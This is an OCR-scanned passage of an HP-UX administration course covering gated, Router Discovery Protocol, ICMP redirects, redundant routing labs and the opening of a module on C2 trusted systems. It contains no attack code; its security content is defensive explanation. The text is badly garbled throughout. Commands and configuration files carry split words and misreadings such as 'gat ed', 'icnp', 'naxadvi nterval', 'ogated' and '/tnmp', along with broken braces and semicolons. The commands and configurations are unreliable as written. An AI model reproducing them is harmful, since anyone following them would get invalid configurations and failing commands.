interface all broadcast;

b

icnp { l
traceoptions routerdi scovery; Workstation B
b @_;EJ

Nobody told me who to send
my packets to. Good thing I
can relay on gated to set my
default route.

S Router Y
-

# netstat -r

Routing tables

Dest / Net mask Gat evay Flags Refs Use Interface Pntu

127.0.0.1 127.0.0.1 UH 0 414 100 4136 @

156.153.0.0 WrkstationA U 2 0 lan0 1500

def aul t Rout er X uG 0 328 lan0 4135 | ROUter X

Rest of the Network

The Router Discovery Protocol is designed to work with the ICMP router discovery
messages, which are recommended for use with all the current routers. The primary purpose
of the Router Discovery Protocol is to initially set and continually maintain the default route
entry in the kernel's route table.

The Router Discovery Protocol accomplishes its task of managing the default route entry by
soliciting for routes when the system is initially booted. Then it continually listens for ICMP
route advertisement messages that are broadcast periodically (usually every 7 minutes) by all
routers on the network. If the system running the Router Discovery Protocol does not hear
the default router broadcast its route within 30 minutes, then the system replaces the default
route entry with an entry for a router which is sending ICMP route advertisement broadcasts.

The slide shows Workstation A sending out a router solicitation message to all routers on the
network asking them to respond with a list of routes for which they have information.
Included in the responses for each route will be an accompanying preference number
(assigned by the network administrator for that router).

Since Router X provides access to the majority of the network and Router Y only connects to
a small subnet, Router X is likely to have a higher preference number. Therefore, it will be
selected and assigned as the default route in the kernel's route table on Workstation A.
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The Router Discovery Protocol is implemented through the gated daemon on HP-UX 11.00.
On HP-UX 10.x operating system releases, a separate daemon, r dpd, was used to implement
Router Discovery Protocol.
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5-9. SLIDE: Redirection

Redirection

Workstation B

/ etc/ gat ed. conf

Router X had to redirect my
packets to Router Y. Next time I
will just send those packets
directly to Router Y.

rip no;
redirect yes;

Workstation A

i
Network 156.153.0.0 =

# netstat -r ROUter X
Routing tables
Dest/ Net mask Gat eway Flags Refs Use Interface Pntu Rest of the Network
127.0.0.1 127.0.0.1 UH 0 414 100 4136
156.153.0.0 Wor kst ati onA U 2 0 lan0 1500
192.1.1.0 RouterY u 0 87 lan0 4135
def aul t Rout er X uG 0 328 lan0 4135
Student Notes

There are a number of scenarios (including the one on the slide), where the default route is
ideal for the majority of the destinations, but inefficient for the other destinations.

On the slide, we see that Router X is the default route to which all non-local packet traffic is
routed. This includes Workstation B which is on the 192.1.1.0 network. When Workstation A
sends a packet to Workstation B, the packet first goes to Router X which resends or reroutes
the packet to Router Y. This creates a delay for the packet in reaching Workstation B and
doubles the traffic load on the 156.153 network when Workstation A communicates with
Workstation B.

To help resolve this situation, the routers should be configured to send ICMP redirect
messages back to the originating host. The ICMP redirect message tells the originating host
to add an entry to its route table to direct all future messages for that network to the
preferred router (listed in the ICMP redirect message), and not to the default router.

In order for the hosts to receive and process all the ICMP redirect messages, the gat ed
daemon must be configured. The gat ed daemon will add an entry to the kernel's route table
when the ICMP redirect message is received. Once the ICMP redirect message is processed,
all future communications with the redirected destination will go straight to the preferred
router, and not the default router.
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5-10. LAB: Managing Routes with the gat ed Daemon

Names of Systems for the Lab

The following lab requires three systems. Work together as a team to accomplish each of the
tasks. You can either move from system to system as a group, or use SharedX to make sure
all the team members can see all the steps performed.

Back Up the Network Configuration Files

1. Backup the network configuration files. We have provided a script to do this:

# netfiles.sh -b /tnmp/netfiles

Configure the Router Discovery Server

2. On the router discovery server, setup the second LAN card. Put lanl on the 130.1
network with a subnet mask of 255.255.0.0 (replace the x’s with the corresponding octet
of the systems current IP address).

# vi [etc/rc.config.d/ netconf

[ Create the necessary entries such that lan1 is on the 130.1 subnet ]

| NTERFACE_NAME[ 1] =I anl
| P_ADDRESS[ 1] =130. 1. X. X
SUBNET_MASK[ 1] =255. 255. 0. 0
BROADCAST ADDRESS[ 1] ="~
LANCONFI G_ARGS[ 1] =” et her ”
DHCP_ENABLE][ 1] =0
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3. Re-execute the net startup script to initialize the second LAN card lan1:
# /sbin/init.d/ net start

4. Add the entries necessary for the system to act as a “Router Discovery” server.

# vi [etc/gated. conf

rip yes;

routerdi scovery server yes {
interface all naxadvi nterval 30;
address all broadcast;

s

icnp {
traceoptions routerdi scovery;
}

5. Check the syntax of the gat ed. conf file and correct any errors if necessary.
# gated -C

6. Start the gat ed daemon on the primary server.

# ogated -t /var/adm gated. | og
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7. Verify that the gat ed daemon was started and that the system is sending “router
discovery” packets.

# tail —f /var/adnfgated.|og

Configure the Router Discovery Client

8. On the router discovery client, edit the gat ed. conf file. Add the entries necessary for
the system to act as a “Router Discovery” client.

# vi [etc/gated. conf

rip no;

routerdi scovery client yes {
interface all broadcast;
1

icnp {
traceopti ons routerdiscovery;
};

9. Check the syntax of the gat ed. conf file and correct any errors if necessary.
# gated -C

10. Start the gat ed daemon on the router discovery client.

# ogated -t /var/adm gated. | og
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11. Verify that the gat ed daemon was started and that the default route on the client was set
to that of the Router Discovery server.

# netstat -rn

Configure the RIP Broadcast Server

12. On the server broadcasting RIP packets, set up the second LAN card. Putlanl on the
140.1 network with a subnet mask of 255.255.0.0 (replace the x’s with the corresponding
octet of the systems current IP address).

# wvi letc/rc.config.d/ netconf

[ Create the necessary entries such that lanl is on the 140.1 subnet ]

| NTERFACE_NAME[ 1] =I anl

| P_ADDRESS] 1] =140. 1. x. X
SUBNET_MASK[ 1] =255. 255. 0. 0
BROADCAST ADDRESS[ 1] =””
LANCONFI G_ARGS[ 1] =” et her ”
DHCP_ENABLE] 1] =0

13. Re-execute the net startup script to ntitialize the second LAN card lan1:
# /sbin/init.d/ net start

14. On the RIP server, edit the gat ed. conf file. Add the entries necessary for the system to
broadcast RIP advertisements.

# vi [etc/gated. conf
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i nterfaces {
interface all passive;
1

rip yes {

br oadcast ;
interface all version 2;
traceoptions packets;

};

15. Check the syntax of the gat ed. conf file and correct any errors if necessary.
# gated -C

16. Start the gat ed daemon on the primary server.
# ogated -t /var/adm gated. | og

17. Verify that the gat ed daemon was started and that RIP packets are currently being
advertised.

# tail —f /var/adnf gated.!|og

18. Verify that the Router Discovery server (which should be listening for RIP
advertisements) updated its route table to reflect a route to the 140.1 subnet.

# netstat -rn
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Enable ICMP Redirects on the Router Discovery Client

19. On the router discovery client, edit the gat ed. conf file to enable the processing of
ICMP redirect packets

# vi [etc/gated. conf

rip no;

routerdi scovery client yes {
interface all broadcast;
3

icnp {
traceoptions routerdi scovery;
}.

redirect yes;

20. Restart the gat ed daemon on the client.

# ps —ef | grep gated (Note the PID for the gated daemon)
# kill [Pl D_of _gated_daenon]
# ogated -t /var/adm gated. | og

21. Verify there is not a route to the 140.1 subnet.
# netstat -rn

22. Ping the lan card on the RIP broadcast server with a 140.1 IP address. Since the default
router knows about this subnet, it should succeed.

# ping —o 140.1.x.x
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Upon exiting the ping command with a <CNTL> c¢ notice that two different pathes were

used. The first path goes through the router, the second path goes directly to the RIP
broadcast server. This path was added through an ICMP redirect.

23. Verify that the path to the 140.1 subnet was added to the client’s route table.
# netstat -rn

Restore the Network Configuration Files

24. Restore the network configuration files. Use the provided script to do this:
# netfiles.sh —r /tnp/netfiles
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Module 6 — Redundant Routing

Objectives

¢ Following a specific approach to creation of an alternate route by means of Layer 3
facilities, build and test an alternate network route that will automatically engage when
the primary route fails.
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6-1. SLIDE: A Network Configuration

A Network Configuration

Workstation w4 Workstation wb
128.1.1. 4 128.1.1.5

128.1.1.15 \
Workstation wlb g
130.3.1.15 ¢ Wﬁ%ﬂ ) 130.3.1.42

128.1.1. 42
\@ Router gwl

/| ————-\\

Workstation w17 Workstation w18
130.3.1.17 130. 3.1.18

Student Notes

The gat ed can provide dynamic routing (i.e. automatic creation and maintenance of
kernel's routing table), and automatic re-routing if a redundant path should fail.

Consider the following hardware configuration. The systems labeled w4, ws, w15, w17, and
W18 represent workstations running HP-UX. The box labeled Rout er gwl is a standalone
router with Router Discovery Protocol supported and enabled.

The illustration assumes Class B IP addresses, but the system and routing hardware could be
anything supporting the IP protocol suite. The routing devices must have Router Discovery
Protocol supported and enabled to advertise their routing information to interested devices
(i.e. those listening for RIP advertisements).

Workstations w5 and w17 have static default routes established through the router gwi.

whs: Jusr/sbin/route add default 128.1.1.42 1
wl7: /usr/sbin/route add default 130.3.1.42 1

This will enable IP communications between ws and w17 so long as the gwl router remains

functional. If the gwl router fails, the communications between Ws and w17 will fail. IP isn't
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capable of choosing an alternate route through the system wl5, even if a redundant default
route through wl5 were added onto systems wb and wl7.
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6-2. SLIDE: When a Route Fails

~ When a Route Fails

Workstation w4 Workstation wb
128.1.1. 4 128.1.1.5

128.1.1.15 ‘ : 128.1.1.42

Workstation w15 e Router gwl
130.3.1.15 ¢ === ‘ 130.3.1.42

/| ————-\\

Workstation w17 Workstation w18
130.3.1.17 130. 3.1.18

Student Notes

Redundant routes can be added by means of the route (1m) command:
ws: /usr/sbin/route add default 128.1.1.42 1
/usr/sbin/route add default 128.1.1.15 1
W17: /usr/sbin/route add default 130.3.1.42 1
/usr/sbin/route add default 130.3.1.15 1

Unfortunately, these redundant routes are not accessible to the internetwork protocol (IP).
The / usr/ sbi n/ r out e command simply builds a table (i.e. routing table) in the kernel's
memory that IP will search given a target IP address for a next hop destination IP address. IP
will use the first host or network entry it finds that matches the target IP address to
determine the next hop. If neither a host or network entry is found that matches the target,
IP will use the first default entry it finds in the table. So making multiple entries with
different destination IP addresses for the same host target address, network target address,
or default would not be useful.
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Because IP can't choose a redundant route when an interface goes down, the best thing to do
is to keep the IP routing table updated with reliable routing information. We could do this
manually by monitoring the state of all the routing devices and media; possibly using a ping
command. When we see a change in state, the / usr/ sbi n/ r out € command could be
reissued to change the IP routing table to reflect a new route. In the example, this would
mean modifying the default route in both W and w17 to hop through wl5 instead of the
router gwl. Obviously, doing this manually would be impractical.
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6-3. SLIDE: Using gat ed to Update Routing Tables

— Using gat ed to Update Routing Tables

e The gat ed daemon processes router discovery packets.
e [t adds a routing table entry for the default route.
e It deletes the default route entry if the router stop advertising.

e It uses a “preference” metric to select the default route.

Student Notes

It is possible to automate this process. When there are redundant routes between systems, as
in the example configuration in the slide, all that is needed is to manage the timely updating
of the routing table. This is where gat ed can be used.

The gat ed daemon needs to be configured to enable the Router Discovery Protocol for each
interface on the HP-UX system. Once configured and enabled, gat ed will automatically
obtain routing information from other systems and routers using the same routing protocol.
This information is kept in the system's process memory. It will use this information to
automatically create and update the system's routing table in kernel memory (i.e. the one IP
uses to make routing decisions).

When gat ed receives a router's "advertisment" of a new network, it adds a routing entry. If
gat ed notices that the router has quit advertising the network, it deletes the routing entry.
When it hears more than one router advertising the same network, it uses a metric based on
"hop count" (number of hops it will take for the packet to reach the advertised network) to
choose one for the kernel routing entry. The lower the number, the more preferable the
route.

H3045S C.00 6-6 http://feducation.hp.com
00 2000 Hewlett-Packard Company



Module 6
Redundant Routing

6-4. SLIDE: Configuring an HP-UX System as a Router

~ Configuring an HP-UX System as a
Router _—

Configuration of / et c/ gat ed. conf for Workstation w15

routerdi scovery server yes {
interface all nmaxadvi nterval 30;
address all broadcast;

H

icnp yes {
traceoptions routerdi scovery;
1

Student Notes

In the example, we will keep the static routes for ws and wl7 for the moment. But if we
configure W4 and w18 to use gat ed to automatically maintain the routing table, the router
gwl or system W15 (either one) may be used to communicate between networks.

First system w15 must be configured with gat ed to enable the Router Discovery Protocol
for advertising. The router gwl must also have the Router Discovery Protocol enabled on it.

The first step is to create the / et ¢/ gat ed. conf configuration file on w15 with the
following contents:

routerdi scovery server yes {
interface all nmaxadvi nterval 30;
address all broadcast;

}
icnp yes {
traceoptions routerdiscovery ;
P
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Once complete, start gat ed on wl5 by executing gated —t /var/adni gated.| ogas
superuser. Next, edit the/ et ¢/ rc. confi g. d/ net conf file and set GATED=1 if you desire

gat ed to be started at boot time.

The gat ed daemon will make log entries in/ var/ adm sysl og/ sysl og. | og at startup.
Check this log for parsing (i.e. syntax) errors immediately following startup. The file should
contain a message indicating that routing is commencing.

NOTE: The gat ed process should be running "for the life of the boot session
in the background. The most common parsing error is forgetting a
semicolon at the end of each line.
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6-5. SLIDE: Configuring Router Discovery Clients

~ Configuring Router Discovery Clients

Configuration of / et c/ gat ed. conf for Workstation w4

rout erdi scovery client yes {
interface all broadcast;

b

icnp yes {
traceoptions routerdi scovery;

1

rip no;

Student Notes

Now that the system W15 and router gwl are both advertising route information, we need to
configure systems w4 and w18 to listen to the advertisements and to configure their kernel
routing table based upon them. Create an / et ¢/ gat ed. conf file for system w4 and w18
with the following contents:

routerdi scovery client yes {
interface all broadcast ;

P
icnp yes {
traceoptions routerdiscovery;
}
rip no;
Once created, start the gated daemon with the command below:

# gated —t /var/adnf gated. | og
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6-6. SLIDE: The Modified Configuration

~ The Modified Configuration

Workstation w4
128.1.1.4 Workstation wb

128.1.1.5

128.1.1.42

Router gwl

Workstation w15 [
130.3.1.42

130.3.1.15

128.1.1. 15

/| —— -0\

Workstation w17 Workstation w18
130.3.1.17 130. 3.1.18

Student Notes

At this point, all the systems will be able to communicate. Keep in mind that systems wb and
W17 have static routing through the router gwl, while systems w4 and w18 have dynamic
routing through either wl5 or gwl, (let's say gwl was chosen by gat ed). In the diagram
below, the label RDP is given to each interface of each device implementing the protocol.
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6-7. SLIDE: Testing the Configuration

~ Testing the Configuration

Workstation w4
128.1.1.4 Workstation wb

128.1.1.5

128.1.1.15 ‘ : 128.1.1.42

WorkStation W15 ‘H’H\ \MH\ LT Router ng
130.3.1. 15 [Ee—==) 130.3.1.42
‘
Workstation w17 Workstation w18
130.3.1.17 130.3.1.18

Student Notes

To test the configuration, power off the router gwl. Note what happens in the network. You
should note immediately that systems on the 128. 1 network will not be able to
communicate with systems on the 130. 3 network.

After 90 seconds however, the gat ed daemons running at w4, wl5, and w18 will have
detected that gwl has not issued any advertisements. The gat ed daemon on each system
will remove any routing information regarding gwl from its internal table. The gat ed
daemon at w15 will stop advertising routes to gwl. The gat ed daemon at w4 and w18 will
remove any routes through gwl from the kernel routing table.

However, noticing that another route exists through system wl5, gat ed will immediately
create a new route entry to the same network through system wl5. As a result, systems w4
and w18 will again be able to communicate automatically. Systems W5 and w17, with their
static routes through gwl, will remain unable to communicate between networks.
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6-8. SLIDE: When the Original Route Is Restored

~ When the Original Route Is Restored

Workstation w4
128.1.1.4 Workstation wb

128.1.1.5

128.1.1.15 ‘ 128.1.1.42
Workstation w15 [ Router gwl
130.3.1. 15 [Ee—==) 130.3.1.42
(o] ‘E
| Foe |
Workstation w17 Workstation w18
130.3.1.17 130. 3.1.18

Student Notes

Now, power on the router gwl. You will notice that ws and Wl7 are again able to
communicate. You might think that gat ed on w4 and w18 would modify the routing table so
that routing occurs through gwl again. It doesn't. What does happen, is gwl starts
advertising its routes once again. System w15, hearing the advertisements from gwl, starts
advertising the route through gwl again. This happens because the routes through both w15
and gwl both have the same preference value of 1 (1 hop). The gat ed daemon doesn't see
any difference between the two. A pr ef er ence value is advertised along with each route.

Even though RDP clients can't distinguish any performance difference between the two
routes, the specifications for both system w15 and router gwl would most likely indicate that
a dedicated router would be a better performer and the preferable route. In our situation, if
we were to leave the choice to gat ed, it wouldn't change back to gwl unless system w15
went down to force the change.
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6-9. SLIDE: Including a Preference Metric

~ Including a Preference Metric

Configuration of / et c/ gat ed. conf for Workstation w15

routerdi scovery server yes {
interface all maxadvinterval 30;
address all broadcast (pref erence 1;)

H

Configuration of / et c/ gat ed. conf for Router gwl

rout erdi scovery server yes {
interface all naxadvi nterval 30;
address all broadcast (pref erence 2; )

s

Student Notes

There may be situations in which alternate routes may be identical in hop count, but one of
these routes may be more preferable than the other(s). If we would like to force gat ed to
choose one route over others, it is possible to make the preference value of less desirable
routes artificially higher. This would result in gat ed giving that route a lower preference.

To do this, set a preference value on the less preferred router to advertise a lower preference.

The addr ess statement within the r out er di scover y specification has been changed to
include a preference parameter. A value of 1 will be given to the less preferred route, and a
value of 2 will be given to the more preferred route. Remember to signal (ki || -s SI GHUP
[ pi d] ) gat ed toreread/ et c/ gat ed. conf if it is already running.

With the change above, gated will always update the kernel routing tables to reflect routes
through router gwl when i t is up and running. If gwl fails, wl5 will take over as previously
described. However, when gwl comes back on-line and starts advertising its existence,

gat ed running on systems w4 and w18 will immediately update the routing table to route
through gwl again. The pr ef er ence values associated with each advertised route makes
this behavior possible.
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6-10. LAB: Using Redundant Routes

Names of Systems for the Lab

The following lab requires six systems. Work together as a team to accomplish each of the
tasks. You can either move from system to system as a group, or use SharedX on the primary
Gateway to make sure all the team members can see all the steps performed.

List the names and IP addresses of the six systems that will be used below (when moving
systems to the 130.1 network, use the current value for the last octet of the IP address):

JIITL

Back Up the Network Configuration Files

1. Back up the network configuration files. We have provided a script to do this:

# netfiles.sh -b /tnp/netfiles

Set Up the Primary Gateway

2. On the primary gateway, set up the second LAN card. Put lanl on the 130.1 network with
a subnet mask of 255.255.0.0:

# vi [letc/rc.config.d/ netconf

[ Create the necessary entries such that lan1 is on the 130.1 subnet ]

| NTERFACE_NAME[ 1] =I anl

| P_ADDRESS] 1] =130. 1. x. x
SUBNET_MASK[ 1] =255. 255. 0. 0
BROADCAST ADDRESS[ 1] =""
LANCONFI G_ARGS[ 1] =" et her "
DHCP_ENABLE] 1] =0
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3. Re-execute the net startup script to initialize the second LAN card lan1:
# /sbin/init.d/ net start

4. Verify the configuration of the second LAN card:
# ifconfig |lanl

5. On the primary gateway, edit the gat ed. conf file.
# vi [letc/gated. conf

routerdi scovery server yes {
interface all maxadvi nterval 30;
address all broadcast;

3
icnp {
traceoptions routerdiscovery;

s

rip yes;

6. Check the syntax of the gat ed. conf file and correct any errors if necessary:
# gated -C
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7. Start the gat ed daemon on the primary gateway:
# gated —t /var/adnf gated. | og

8. Verify that the gated daemon was started:
# ps —ef |grep gated

If gated did not start, check / var / adni sysl og/ sysl og. | og and
/ var / adni gat ed. | og for errors.

Set Up the Fixed Route on the 130 Workstation

9. On the appropriate workstation, reconfigure its IP address for the 130.1 network.
Comment out the default route.
# vi letc/rc.config.d/ netconf

[ Create the necessary entries such that lan0 is on the 130.1 subnet with a subnet mask of
255.255.0.0]

10. Update the / et ¢/ host s file such that it references the new IP address.
# vi letc/hosts

11. Reboot the workstation such that it comes back up with the new IP address.

# shutdown -r -y O
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12. When the workstation reboots, add the following fixed route to get the 156.153 network:

# route add net 156.153.x.0 netmask 255.255.x.0 \
<130 _network | P_address_of primary_gateway> 1

13. Examine the route table.

# netstat -rn

Set Up the Fixed Route on the 156 Workstation

14. On the 156.153 workstation, add the following fixed route to get to the 130.1 network:

# route add net 130.1.0.0 netmask 255.255.0.0 \
<156_network_| P_address_of primary_gateway> 1

15. Examine the route table.

# netstat -rn

16. Test the connectivity between the two workstations.
# ping —o 130. 1. X. X (I P address of 130 workstation)
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Set Up the Router Discovery Client on the 156 Workstation

17. On the 156.153 workstation (to be used for dynamic routing), edit the gat ed. conf file.

# vi [etc/gated. conf

routerdi scovery client yes {
interface all broadcast;
b

icnp {
traceoptions routerdi scovery;

;o

18. Display the route table. The default route should not be listed yet.
# netstat -rn

19. Check the syntax of the gat ed. conf file and correct any errors if necessary:
# gated -C

20. Start the gat ed daemon.
# gated —t /var/adnf gated. | og

21. Verify that the gat ed daemon was started:
# ps —ef |grep gated

If gat ed did not start, check / var / adni sysl og/ sysl og. | og file for errors.
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22. Verify the RouterDiscovery packets are being received:

# tail —f /var/adm gated.l og

23. Examine the route table. The route to the 130 network should have been added.
# netstat -rn

Set Up the Router Discovery Client on the 130 Workstation

24. On the appropriate workstation, reconfigure its IP address for the 130.1 network.
Comment out the default route.

# vi letc/rc.config.d/ netconf

[ Create the necessary entries such that lan0 is on the 130.1 subnet with a subnet mask
of 255.255.0.0]

25. Update the / et c/ host s file such that it references the new IP address.
# vi /etc/hosts
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26. Reboot the workstation such that it comes back up with the new IP address.

# shutdown -r -y O

27. Once the workstation reboots, edit the gat ed. conf file to enable dynamic routing.
# vi [etc/gated. conf

routerdi scovery client yes {
interface all broadcast;
¥

icnp {
traceoptions routerdi scovery;

}

28. Display the route table. The default route should not be listed yet.
# netstat -rn

29. Check the syntax of the gat ed. conf file and correct any errors if necessary:
# gated -C

30. Start the gat ed daemon.
# gated —t /var/adnf gated. | og
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31. Verify that the gat ed daemon was started:
# ps —ef |grep gated

If gat ed did not start, check / var / adn sysl og/ sysl og. | og file for errors.

32. Verify the RouterDiscovery packets are being received:
# tail —f /var/adm gated.| og

33. Examine the route table. The route to the 130 network should have been added.
# netstat -rn

Setup the Secondary Gateway

34. On the secondary gateway, setup the second LAN card. Putlanl on the 130.1 network
with a subnet mask of 255.255.0.0:

# vi letc/rc.config.d/ netconf

[ Create the necessary entries such that lanl is on the 130.1 subnet ]

| NTERFACE_NAME[ 1] =I an1

| P_ADDRESS] 1] =130. 1. x. X
SUBNET_MASK[ 1] =255. 255. 0. 0
BROADCAST ADDRESS[ 1] =""
LANCONFI G_ARGS[ 1] =" et her "
DHCP_ENABLE] 1] =0
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35.Re-execute the net startup script to initialize the second LAN card lan1:
# /sbin/init.d/ net start

36. Verify the configuration of the second LAN card:
# ifconfig | anl

37. On the secondary gateway, edit the gat ed. conf file.
# vi [etc/gated. conf

routerdi scovery server yes {
interface all naxadvi nterval 30;
address all broadcast;

3
icnp {
traceoptions routerdi scovery;

b

rip yes;

38. Check the syntax of the gat ed. conf file and correct any errors if necessary:
# gated -C

39. Start the gat ed daemon on the primary gateway:
# gated —t /var/adnf gated. | og
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40. Verify that the gat ed daemon was started:
# ps —ef |grep gated

If gated did not start, check / var / adni sysl og/ sysl og. | og and
/var/ adnmi gat ed. | og for errors.

Test the Configuration

41. Start a pi ng between the two fixed route workstations, and another ping between the
two dynamic routing workstations:

From the 156 static routed system:
# ping -0 <IP of static routed 130 systenp

From the 156 dynamic routed system:

# ping -0 <IP_of _dynamc_routed_ 131 systenp

42. Shut down the lan interfaces on the primary gateway system. This should prevent the
static routed systems from communicating, but the dynamically routed systems should
recover in 90 seconds.

#init 2
# ifconfig | an0O down
# ifconfig | anl down

43. After the dynamically routed systems recover, check their route table. You should see
that the routing table was updated to use the secondary router:

http://feducation.hp.com 6-23 H3045S C.00
00 2000 Hewlett-Packard Company



Module 6
Redundant Routing

# netstat —-rn

44. Bring the lan interfaces on the primary router back up:

# ifconfig | an0 up
# ifconfig lanl up

45. Check the route table on the dynamically routed systems. Did they get updated to use the
primary gateway again?

# netstat —-rn

46. On the primary gateway, edit the gat ed. conf file. Add a preference of 2 to the addesss
statement:

# vi [letc/gated. conf

routerdi scovery server yes {
interface all maxadvi nterval 30;
address all broadcast preference 2;

3
icnp {
traceoptions routerdiscovery;

s

rip yes;

Check the syntax of the gat ed. conf file using the gat ed - Ccommand. Signal gat ed
to reread the gat ed. conf file:

# kill -s SIGHUP <pi d_of _gat ed>
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47. Check the route table on one of the dynamically routed systems. The route table should
automatically be updated to use the primary gateway (this may take up to 30 seconds).

# netstat —-rn

Restore the Configuration

48. Restore the network config files and reboot. We have provided a script to do this:
# netfiles.sh -r [/tnp/netfiles
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Module 7 — Trusted Systems

Objectives
Upon completion of this module, you will be able to:

e List three additional security features available with C2 trusted systems.
¢ Convert a minimally secured HP-UX 11.00 system to a C2 trusted system.

e List two additional C2 security features in the areas of:

— Login Management
— Password Management
— Terminal Management
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7-1. SLIDE: UNIX Security Shortcomings

~ UNIX Security Shortcomings

¢ Login Control

— Ability to boot to single-user mode
without a password

| need better ways
to control accessto
the system. | need to
keep the bad people
out and let the good
peoplein.

— No successive login failure

— No account lifetimes

— No checks for dormant accounts
e Password Management

— No automatic password generator

— Limited password aging capabilities
¢ Terminal Management

— No location-based access controls

— No time-based access controls

Student Notes

The standard UNIX security features have long been the target of criticism from many UNIX
system administrators. These shortcomings appear on all UNIX based systems, not just
HP-UX. These security shortcomings fall into three main categories:

Poor Login and Account Management Controls
Limited Password Management Tools
No Terminal Access Controls

Poor Login and Account Management Controls

¢ Many system administrators do not like the fact that a password is not required to boot a
system to single-user mode in order to gain root access.

¢ UNIX system administrators would like to have accounts automatically disabled if
successive login attempts fail for an account. (This helps to prevent password cracking
programs from succeeding.) Standard UNIX security does not offer this capability.

¢ UNIX system administrators would like the ability to set a time period (i.e. lifetime) for
an account. Once the time period expires, the account would be disabled automatically.
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This would be useful for temporary or guest accounts. Standard UNIX security does not
offer this capability.

¢ UNIX system administrators want to be notified when no activity occurs on accounts
over a prolonged period of time (aka dormant accounts). These accounts should be
disabled or removed to prevent other users (or hackers) from hiding their files in these
accounts.

Limited Password Management Tools

¢ UNIX system administrators would like random password generators for their users,
rather than allow them to pick their own passwords. When they chose their own
passwords they often pick passwords which can be easily guessed.

* UNIX system administrators would like better password aging tools. A common
enhancement request is to disallow users to set their passwords to one which has been
used previously.

No Terminal Access Controls

¢ UNIX system administrators would like to limit which logins can be used on specific
ports. For example, modem ports often need to be limited to only a select group of users.

¢ UNIX system administrators would like to control the time-of-day ports that can be used
for login purposes. For example, they would like to limit logins to the hours between 7:00
am and 5:00 pm.

http://feducation.hp.com 7-3 H3045S C.00
00 2000 Hewlett-Packard Company



Module 7

Trusted Systems

7-2. SLIDE: C2 Trusted Systems to the Rescue

~ (C2 Trusted Systems to the Rescue

e Enhanced Login Security Features
¢ Enhanced Password Management
e Enhanced Terminal Security

e System Auditing

Student Notes

In 1983, the Department of Defense (DoD) published a landmark publication called The
Orange Book. The major contribution of the Orange Book is the definition of four security
evaluation classes. The four security classes were:

Class A

Class B

Class C

Class D

H3045S C.00

Mandatory and Verified Protection. This is the highest level of security
possible.

Mandatory Protection. This type of system requires all objects (files, user
accounts) be protected by the system administrator. Users have no control
over access to files (even their own files).

Discretionary Protection. This type of system provides users with the security
tools to sufficiently protect their own data. It also defines additional
capabilities for the system administrator above the minimal security features.

Minimal Security. This type of system provides a minimum amount of

security, including account protection through passwords, and file/directory
protection through read, write, and execute permissions.
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HP's C2 Trusted System

All HP-UX systems (10.x and 11.x based systems) offer the capability of converting to a more
secure focused system. The level of security of this new system meets the requirements of
the Class C, level 2 definition as defined in the Orange Book, hence the name C2 Trusted
System.

The additional security features realized by converting to HP's C2 trusted system include

Enhanced Login Security
Enhanced Password Management
Enhanced Terminal Security
System Auditing

These specific features are discussed in the next four slides.
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7-3. SLIDE: Enhanced Login Security Features

Enhanced Login Security Features

Password required for single-user mode logins

Account locked after successive login failures

Account locked after specified time of inactivity (dormant accts.)

Ability to specify a lifetime on accounts

- ™

U e

7

Authorized Access Only

Student Notes
On a non-trusted system, hackers gain unauthorized access by
* Rebooting the system to single-user mode, which provides access to the root account

without a password.

¢ Running a password cracker program against a user account, trying all possible words
until it figures out the password.

* Gaining access to a dormant account, and using the account to store and hide files which
act as backdoors to the root account.

The enhanced login security features are designed to prevent a hacker from jeopardizing a

system in the above manner.

Specifically, the enhanced login security features include

1. The requirement of a password when booting to single-user mode. On a C2 trusted
system, the system can be configured to prompt for a password upon booting to single-
user mode.
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2. The disabling/locking of an account upon successive login failures. An account is
disabled (i.e. locked) by placing an asterisk in its password field if successive login
attempts to the account fail. The number of successive login attempts is configurable for
each account. This prevents hackers from trying to guess the password upon login.

3. The disabling/locking of an account which has been inactive (dormant) for a pre-defined
period of time. An account which has not been logged into for 30 days (default value)
will be inactivated by disabling the password. If the account needs to be reactivated, the
system administrator simply resets the password.

4. The disabling or locking of an account after a specified period of time (i.e. the account's
lifetime). Accounts can be defined to allow access only up to a specific date. Once that
date is reached, the account is inactivated by disabling the password. If the account
needs to be reactivated, the system administrator simply resets the password.
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7-4. SLIDE: Enhanced Password Management

~ Enhanced Password Management

¢ Three different password generators:
— letters-only password generator
— letters, numbers, and punctuation characters
— pronounceable phrases

¢ More password aging capabilities

Minimum Warning Expiration
Set Time Time Time Dead
Minimum Normal Warning Expiration
Phase Phase Phase Phase
\_/V\/w
cannot
cannot change may change must change log in

Student Notes

On a non-trusted system, there are no password generators available to the users. In
addition, the password aging features are limited, and leave the system administrator wanting
for more.

On a C2 trusted system, the system administrator is able to utilize additional password
management tools, including random password generators for the users and a more feature-
rich password aging tool.

* Random Password Generators

There are three different random password generators available with trusted systems.
The first generates passwords containing only letters (like df gpl qw). The second
generates passwords containing letters, numbers, and punctuation symbols (like

a@ 9j ¥8). The third generates passwords containing pronounceable words (like
akgri d or hozack).

When a user's password expires, the user will be asked to run the passwd command.
Upon doing so, a new recommended password will be automatically generated and
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displayed. If the user likes the password he can select it. Otherwise he can reject it, and
another password will be generated. Passwords will continue being generated until the

user selects one.

¢ More Password Aging Capabilities

There are additional password aging time periods which can be defined with a trusted
system. The additional time periods are:

Minimum Time

Warning Time

Expiration Time

Account Lifetime

http://feducation.hp.com

This is the minimum period of time for which the user must
keep his password. The default is two weeks. This keeps the
user from changing his password right back to one of the
previous passwords.

This is the period of time just prior to the password expiring
during which the user is given a courtesy warning related to the
password's expiration date. The default value is two weeks,
and the user is not required to change his password during this
period (though it is strongly encouraged).

This is the period of time for which the password is valid. If a
user logs in after this time period, then they will be required to
reset their password to a new value.

This is the period of time for which the account is valid. If the
user tries to log in after this time period, they will be denied.
Once the account lifetime date passes, that account will not be
allowed to login.
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7-5. SLIDE: Enhanced Terminal Security

~ Enhanced Terminal Security

¢ Limit terminal access by time of day

e Limit terminal access to certain user accounts

Time of day terminal access ~ Terminal access specified for each user
ttyl tty2 tty3 ttyd tty5 tty6 tty7
Userruss | OK [OK [OK | OK| OK|OK | OK

User mary OK [OK OK OK
User matt | OK [OK [OK | OK| OK

not OK to log on

OK to log on

Student Notes

Additional terminal security features will be realized by converting to a C2 trusted system,
including:

¢ Terminal access based on time of day.

¢ Terminal access based on user account.

Terminal Access based on Time of Day

With C2 trusted systems, terminal access can be limited for each terminal to a specific time
of day. For example, the slide shows the terminal port t t y7 allowing logins only between
the hours of 8:00 AM and 5:00 PM. If a any login attempt is made outside of these hours, the
login attempt will be denied. This is useful if user access is only desired during business
hours and not during non-business hours.

NOTE: This feature does NOT log a user out at 5:00 PM. This feature only
prevents a new user from logging in after 5:00 PM. If a user logs in at
